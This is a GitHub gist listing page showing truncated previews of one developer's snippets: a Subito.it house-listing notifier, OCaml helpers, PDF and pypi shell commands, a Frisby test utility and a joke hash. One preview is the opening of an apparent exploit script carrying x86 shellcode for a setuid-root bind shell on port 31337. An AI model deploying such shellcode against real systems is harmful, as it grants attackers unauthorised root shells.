Skip to content

Instantly share code, notes, and snippets.

View dakk's full-sized avatar
Working from boat

Davide Gessa dakk

Working from boat
View GitHub Profile
@dakk
dakk / getCase.py
Created July 4, 2016 15:36
Send a desktop notification if a new house is available on Subito.it
import requests
import time
from gi.repository import Notify
Notify.init("getCase")
def getCase ():
d = requests.get ("http://www.subito.it/annunci-sardegna/affitto/appartamenti/cagliari/cagliari/?pe=5").text
return int (d.split ("Tutti: ")[1].split ('<')[0])
@dakk
dakk / asyncronize.ml
Last active June 22, 2016 17:14
Simple async for ocaml
open Printf;;
open Thread;;
let async f a fc =
let wrapper a = fc (f a) |> ignore in
Thread.create wrapper a;
Thread.yield ()
;;
@dakk
dakk / pdftopath.sh
Created April 12, 2016 17:11
Convert a pdf with text to a pdf with curves
pdftops $1
ps2pdf $1
pdfcrop $1
@dakk
dakk / frisbyChain.js
Last active April 9, 2016 10:29
An utility to avoid waterfalling of frisby tests throught middleware chains
var frisby = require ('frisby');
/* FrisbyChain */
var frisbyChain = function (baseData, callChain) {
callChain.push (function (data) {});
var nextPrepare = function (data, i) {
if (i < callChain.length)
return function (data, next) {
return callChain[i] (data, nextPrepare (data, i+1));
@dakk
dakk / ml_snippets.ml
Created March 23, 2016 14:15
OCaml various snippets
#use "printf.ml";;
(* Type def *)
type json =
| Object of (string * json) list
| Bool of bool
| Float of float
| Int of int
| Null
| String of string
@dakk
dakk / contractvm.json
Last active December 14, 2015 10:16
Contractvm configuration for protected networks
{
"chain": "XTN",
"dht": {
"port": 5051,
"seeds": []
},
"dapps": {
"list": [],
"enabled": []
},
@dakk
dakk / shiba2.py
Created November 16, 2015 23:40
shiba2 hash
#!/usr/bin/python
# -*- coding: UTF-8
#
# shiba256 - the shiba 256bit hash (such hash, so secure, much crypto)
#
#---------▄--------------▄
#--------▌▒█-----------▄▀▒▌
#--------▌▒▒▀▄-------▄▀▒▒▒▐
#-------▐▄▀▒▒▀▀▀▀▄▄▄▀▒▒▒▒▒▐
#-----▄▄▀▒▒▒▒▒▒▒▒▒▒▒█▒▒▄█▒▐
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define MSG "EchoD (v0.1): What you send me - I send you back!\n"
#!/usr/bin/python
import sys
from socket import *
# *** Generated with libShellCode
# setuid(0) + setgid(0) + bind(/bin/sh) on port 31337
shellcode = \
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" + \
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" + \
"\x89\xc7\x31\xc9\x66\xb9\x7a\x69\x52\x66\x51\x43\x66\x53\x89\xe1" + \
@dakk
dakk / gist:8b24257ea6ef574b1ccf
Created October 14, 2015 10:55
Upload a project to pypi repository
python3 setup.py sdist bdist_wheel
twine upload dist/*